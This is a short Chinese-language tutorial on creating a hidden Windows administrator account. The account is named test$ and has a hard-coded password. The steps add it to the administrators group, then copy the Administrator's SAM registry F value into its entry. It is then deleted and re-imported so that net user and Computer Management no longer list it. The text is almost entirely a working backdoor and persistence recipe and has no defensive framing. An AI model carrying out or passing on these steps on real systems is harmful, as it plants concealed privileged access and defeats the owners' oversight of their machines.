Window隐藏账户

1.创建账户
在管理员的cm中执行命令，点击 命令提示符(管理员)(A)
执行以下命令创建用户
net user test$ sxf!7890 /add
net localgroup administrators test$ /add

可以到 计算机管理>本地用户和组>用户 里看到test$用户。

2.使用命令行查看用户
在命令行输入
net user
无法看到test$用户

3.打开注册表，导出test$和administrator用户注册表信息
获取SAM权限

获取权限后刷新（可顶部选项中查看里刷新）。

4.导出test$用户信息

导出下面键为test.reg
这里0X3EA为随机值，每台主机都会不一样
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$

放到桌面便于后续操作
导出test$ 的UID值
此处注意 test$ 的类型即为uid，对应Users文件夹里的000003EA文件，将该文件导出，导出文件名为uid.reg


导出administrator的UID项
在windows下，administrator的UID固定为1F4，即对应Users文件夹里的000001F4文件，导出文件名为：admin.reg

1、将admin_id中的F值，复制到uid中的F值
编辑uid，对桌面上的uid文件操作，右键后点击编辑

删除test$ 用户，导入注册表
1、删除test$ 用户
在命令提示符里使用下面命令，删除test$ 用户
net user test$ /del
删除后导入uid，右键uid，点击合并




查看隐藏账户
使用计算机管理，查看用户，并未发现test$

2、修改组策略，允许自定义用户登录
在命令提示符中输入
gpedit.msc
定位到安全选项，不显示最后的用户名，并启用
注销administrator用户
使用test$ 用户登录
用户名： test$
密码：sxf!7890

使用任务管理器，查看当前用户